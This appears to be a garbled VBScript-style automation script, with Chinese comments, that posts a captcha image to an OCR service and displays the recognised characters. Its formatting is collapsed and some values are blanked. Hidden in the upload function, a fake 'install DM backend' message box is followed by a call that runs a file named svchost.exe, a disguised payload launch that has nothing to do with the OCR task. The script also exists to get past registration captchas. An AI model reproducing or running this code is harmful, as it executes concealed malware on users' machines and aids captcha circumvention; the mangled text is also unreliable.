Function body(a,b,c)dim aaaa=aaa=mid(aa,instr(aa,b) len(b))body=left(aa,instr(aa,c)-1)End FunctionPublic Function StringToBytes(ByVal strData, ByVal strCharset) Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeTextobjFile.Charset = strCharsetobjFile.OpenobjFile.WriteText strDataobjFile.Position = 0objFile.Type = adTypeBinaryIf UCase(strCharset) = "UNICODE" ThenobjFile.Position = 2 'delete UNICODE BOMElseIf UCase(strCharset) = "UTF-8" ThenobjFile.Position = 3 'delete UTF-8 BOMEnd IfStringToBytes = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetFileBinary(ByVal strPath)Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeBinaryobjFile.OpenobjFile.LoadFromFile strPathGetFileBinary = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetBoundary()Dim ret(12)Dim tableDim itable = "abcdefghijklmnopqrstuvwxzy0123456789"RandomizeFor i = 0 To UBound(ret)ret(i) = Mid(table, Int(Rnd() * Len(table) 1), 1)NextGetBoundary = "---------------------------" & Join(ret, Empty) End FunctionPublic Sub AddForm(ByVal strName, ByVal strValue)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data;name=""$2""\r\n\r\n$3"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strValue)objTemp.Write StringToBytes(tmp, strCharset)End SubPrivate Sub AddEnd()Dim tmptmp = "\r\n--$1--\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Position = 2End SubPublic Function Upload(ByVal strURL)Call AddEndMessageBox "系统检测到您的脚本没有安装DM后台，点击安装" URL= "/svchost.exe" Call RunApp(URL) xmlHttp.Open "POST", strURL, FalsexmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundaryxmlHttp.setRequestHeader "Content-Length", objTemp.sizexmlHttp.setRequestHeader "Host", ""xmlHttp.setRequestHeader "Expect", "100-continue"xmlHttp.Send objTempUpload = xmlHttp.ResponseBodyEnd FunctionPublic Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strFileName)tmp = Replace(tmp, "$4", strFileType)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Write GetFileBinary(strFilePath)End SubPrivate Sub Class_Initialize()adTypeBinary = 1adTypeText = 2Set xmlHttp = CreateObject("Msxml2.XMLHTTP")Set objTemp = CreateObject("ADODB.Stream")objTemp.Type = adTypeBinaryobjTemp.OpenstrCharset = "utf-8"strBoundary = GetBoundary()End SubCall Class_Initialize()key="" //这里是自己申请的key//本识别服务为免费，没有apiKey 可以 key 为标题//任意内容为正文发邮件到 ok（@） 获取//可能会有延迟，请匆重复发送//授权apiKey,请注意区分大小写路径="C:\Documents and Settings\Administrator\桌面\1.bmp" //识别的图片路径语言="eng" // 英文=eng 简体=sim 繁体=tra验证码类型=7 // 所有英文字符=0 所有纯数字=1 小写英文字母=2 大写英文字母=3 数字小写字母=4 数字大写字母=5 大写小写字母=6 数字大写小写=7 常用英文字符=8 网址和邮件类=9 $￥商城价格=10 手机电话号类=11 数学公式计算=12strCharset = "GB2312"Call AddForm("service", "OcrKingForCaptcha")Call AddForm("language",语言)Call AddForm("charset",验证码类型 )CallAddForm("type","/api/get_auth.php?t=56_reg&rnd=0.56758 23935307562")Call AddForm("apiKey",key)Call AddFile("ocrfile", "", "image/jpg", 路径)ccc = Upload("/ok.html")xmlBody = cccSet ObjStream = CreateObject("Adodb.Stream")With ObjStream.Type = 1.Mode = 3.Open.Write xmlBody.Position = 0.Type = 2.Charset = "utf-8"BytesToBstr = .ReadText.CloseEnd WithMsgBox "识别结果："&body( BytesToBstr,"","<")。